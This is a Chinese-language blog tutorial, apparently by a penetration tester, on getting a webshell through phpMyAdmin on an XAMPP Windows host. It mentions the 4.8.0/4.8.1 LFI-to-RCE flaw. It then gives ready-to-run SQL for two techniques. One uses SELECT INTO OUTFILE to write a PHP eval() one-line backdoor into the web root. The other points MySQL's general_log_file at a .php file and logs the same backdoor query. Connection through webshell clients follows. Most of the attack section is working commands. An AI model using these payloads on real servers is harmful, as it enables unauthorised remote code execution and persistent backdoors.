phpMyadmin Getshell
作者 : Noth
前言 :
做為一名滲透狗,看到 phpMyadmin 時必須要有敏感度和想法 Getshell,拿下最高權限才是王道,哈哈哈,筆者這次分享的是透過 phpMyadmin 後台操作進一步去取得 Shell 。
介紹 :
phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫,藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。
實作環境 :
Xampp + Windows
滲透思路 :
首先去查看版本號去尋找可利用的弱點,例如 phpmyadmin 4.8.0、4.8.1 存在 LFI to RCE 的漏洞 xD,如果都沒有直接嘗試常規拿 shell 的方式。
實作流程 :
查看版本
/phpmyadmin/readme
獲取網站真實路徑 (phpinfo.php)
DOCUMENT_ROOT
CONTEXT_DOCUMENT_ROOT
條件 :
執行 select @@secure_file_prive 得到空的返回值,而不是 NULL (代表可以任意導入導出)
注 :
如果不知道絕對路徑的話,可以下 select @@datadir 查看 mysql 路徑,反猜絕對路徑,通常 xampp 套件默認根目錄是在 C:\xampp\htdocs
常規拿 shell :
需要知道絕對路徑、數據庫root權限、數據庫有寫權限
具體語句 :
上傳 phpinfo.php
SELECT "<?php phpinfo();?>" INTO OUTFILE "C:\\xampp\\htdocs\\noth.php";
SELECT "<?php @eval($_POST['noth']);?>" INTO OUTFILE "C:\\xampp\\htdocs\\noth.php";
注 :
Windows下,需要雙反斜線,否則會轉義然後使用菜刀/蟻劍等連接接即可。
執行成功 :
連接成功 :
日誌 GetShell :
MySQL 5.0 以上的版本會自動創建日誌文件,且在服務運行的情況下修改全局變量也是可以變動文件位置的,但須要對生成日誌的目錄有可讀可寫的權限。
具體語句 :
General log 指的是日誌保存狀態
show variables like "general_log%"; // 查詢日誌保存狀態,ON代表開啟,OFF代表關閉
set global general_log='on'; // 設置為 on
general log file 指的是日誌的保存路徑
set global general_log_file = "C:\\xampp\\htdocs\\noth.php";
執行的語句都會寫入到日誌文件中,所以我們查詢語句
select "<?php @eval($_POST['noth']);?>"
便會將其記錄到指定的日誌文件中,然後使用菜刀連接即可。
查詢日誌保存狀態 :
show variables like "general_log%";
設置日誌保存狀態為 On :
set global general_log='on';
保存在新增的檔案裡面 :
set global general_log_file = "C:\\xampp\\htdocs\\noth.php"
在經過一次查詢,把文件寫入到 noth.php :
select "<?php @eval($_POST['noth']);?>";
查看 noth.php 文件,一句話木馬被寫入 :
連接成功 :
當然這只是常規拿 shell 的方式囉,相對的 Linux 主機滲透流程差不多 ~
就讓小夥伴們自己去嘗試吧 ~
留言
張貼留言